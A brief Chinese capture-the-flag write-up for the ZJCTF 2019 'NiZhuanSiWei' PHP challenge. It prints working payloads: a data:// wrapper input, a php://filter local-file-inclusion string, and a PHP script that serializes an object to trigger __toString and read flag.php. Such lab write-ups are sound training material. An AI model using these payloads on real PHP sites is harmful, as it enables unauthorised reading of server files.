[ZJCTF 2019]NiZhuanSiWei

关键点:

(1)file_get_contents($text,'r')

(2)include($file)

(3)$password = unserialize($password);
echo $password;

1.变量如何变成文件输出

text=data://text/plaint,welcome to the zjctf

  1. include($file)文件包含

file=php://filter/convert.base64-encode/resource=useless.php

3.反序列化

源码

php 复制代码
<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

构造

php 复制代码
<?php
class Flag{  
     public $file='flag.php';
}
$a=new Flag;
echo serialize($a) ;
?>

上面的源码有echo $password,会触发__toString()。

相关推荐
cike_y1 天前
浅谈用docker搭建一个ctf镜像
运维·安全·网络安全·docker·容器·ctf
white-persist1 天前
【攻防世界】reverse | re1-100 详细题解 WP
c语言·开发语言·网络·汇编·python·算法·网络安全
世界尽头与你1 天前
CVE-2024-28188_ Jupyter Scheduler 安全漏洞
安全·网络安全·jupyter
云计算练习生1 天前
渗透测试行业术语扫盲(第一篇)—— 基础网络与协议类术语
网络·网络协议·安全·网络安全·渗透测试·渗透测试术语
clown_YZ1 天前
Glacier CTF 2025--部分题解
网络安全·逆向·ctf
pandarking1 天前
[CTF]攻防世界:SSRF Me
web安全·ctf
聊询QQ:688238861 天前
线性参变(LPV)+鲁棒模型预测控制(RMPC)+路径跟踪(PTC),目前能实现20-25m/...
web安全
汤愈韬1 天前
知识点4:Nat Server的Server-map 跟ASPF中的server map区别与联系
网络协议·网络安全·security·huawei
苦瓜炒蛋挞1 天前
小迪安全第二十三天-安全开发-PHP应用&后台模块Cookie&Session&Token
网络安全·小迪安全